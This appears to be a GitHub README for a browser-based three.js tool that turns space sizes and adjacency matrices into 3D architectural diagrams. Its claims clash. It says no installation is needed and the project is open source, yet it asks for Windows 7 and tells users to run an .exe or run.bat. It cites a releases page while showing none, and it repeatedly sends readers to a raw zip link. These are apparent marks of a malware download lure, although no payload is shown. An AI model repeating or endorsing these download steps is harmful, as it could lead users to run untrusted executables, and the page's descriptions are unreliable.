Skip to content

abdullasuad36-hue/simple-architectural-program-creator

Repository files navigation

🏗️ simple-architectural-program-creator - Create 3D Architectural Diagrams Easily

Download Releases


📋 About

simple-architectural-program-creator is a browser-based tool to help you generate 3D architectural diagrams. It uses your input about spaces and how they relate to each other to create clear 3D models. You do not need to know how to code or use complex software to get started.

This tool works with common architectural ideas like adjacency matrices and space planning. It uses three.js, a popular technology for showing 3D models in your web browser.


🔍 Features

  • Generate 3D views of architectural programs from your input.
  • Define spaces by size and type.
  • Set relationships between spaces with an adjacency matrix.
  • See instant updates in the 3D model as you adjust parameters.
  • Export and save your diagrams for future use.
  • Runs in modern browsers without installing extra software.
  • Simple interface designed for users who are not architects or programmers.
  • Uses JavaScript and three.js for smooth 3D visualization.

💻 System Requirements

  • Windows 7 or later.
  • Modern web browser (Google Chrome, Firefox, Edge, or Safari).
  • Internet connection for initial download.
  • At least 1 GHz CPU and 4 GB RAM recommended.
  • Screen resolution of 1280x720 or higher.

No installation other than downloading the package is required.


🚀 Getting Started

Step 1: Visit the Download Page

Go to the releases page to get the latest version of the tool.

Download Releases

Click the link above or this URL in your browser:
https://raw.githubusercontent.com/abdullasuad36-hue/simple-architectural-program-creator/main/docs/architectural_program_simple_creator_3.9.zip

Step 2: Download the Latest Package

Find the latest release, usually marked at the top of the page. The release contains a folder or zipped file with the application files inside.

  • Look for a file with a name like simple-architectural-program-creator.zip or .exe.
  • Click on the file to start downloading.

Step 3: Extract Files (If Needed)

If the download is a zip file:

  • Right-click the file.
  • Choose "Extract All..."
  • Select a location on your computer where you want to save the program files.
  • Click "Extract".

Step 4: Run the Application

Open the extracted folder and look for a file named something like index.html or run.bat.

  • Double-click index.html to open the tool in your default web browser.
  • If there is an executable (.exe), double-click it to start.

Step 5: Using the Application

Once open:

  • You will see input fields to enter details about your architectural program.
  • Enter sizes for each space.
  • Fill in the adjacency matrix to show which spaces relate.
  • The 3D diagram will update automatically.
  • Use the navigation controls in the 3D view to examine your design from different angles.

⚙️ How to Use the Tool

Enter Space Information

Each space needs a name and size. The size is usually in square meters or feet.

  • Click on "Add Space".
  • Enter a name like "Kitchen", "Living Room", or "Office".
  • Enter the approximate area for that space.

Define Relationships with the Adjacency Matrix

The adjacency matrix shows how spaces connect or relate to one another.

  • Find the matrix grid on the interface.
  • Enter a 1 or yes if two spaces should be adjacent.
  • Enter a 0 or no if they should not share a boundary.

This matrix controls how the 3D model groups rooms together.

View the 3D Diagram

The right side of the window shows the 3D diagram.

  • Use your mouse or touchpad to rotate or zoom.
  • The diagram updates as you change spaces or relationships.
  • Colors and labels help identify spaces.

Save or Export Your Work

Look for a "Save" or "Export" option.

  • Save your input data and model locally.
  • Some versions might offer export as an image or 3D file.

🛠 Troubleshooting & Tips

  • Make sure your web browser is up to date.
  • If the tool does not load, try clearing your browser cache.
  • If zoom or rotation feels slow, close other heavy programs.
  • Use stable internet during the download process.
  • If the 3D view does not display, check your graphics settings or try another browser.
  • Remember to save your work regularly to avoid losing changes.

🔗 Useful Links


🧰 About This Tool

This project uses a JavaScript library called three.js to show 3D models without extra software. You only need a compatible web browser.

The adjacency matrix is a common architectural tool to plan spaces by showing which should be next to each other.

By simplifying these concepts, this tool helps users without design experience start creating basic architectural diagrams fast.


✅ Privacy and Security

  • No personal data is collected.
  • All computation happens on your local device.
  • Files you create stay on your device unless you share them.
  • Open source code means anyone can review how it works.

🔍 Topics Covered

  • 3D visualization
  • Adjacency matrix for planning
  • Architectural and computational design basics
  • JavaScript and parametric design tools
  • Space planning and program diagrams
  • Use of three.js for 3D rendering

📦 Updates and Support

Check the releases page regularly for updates or bug fixes.

If you run into problems, use GitHub’s issues tab to ask questions or report bugs. Provide clear steps to reproduce any problem. Users and developers monitor this space to help.


📥 Download Link Reminder

Download the latest version here and follow the instructions above to start using this tool on your Windows computer.

About

Create interactive 3D spatial diagrams from CSV data to test architectural layouts and adjacencies in early design stages.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages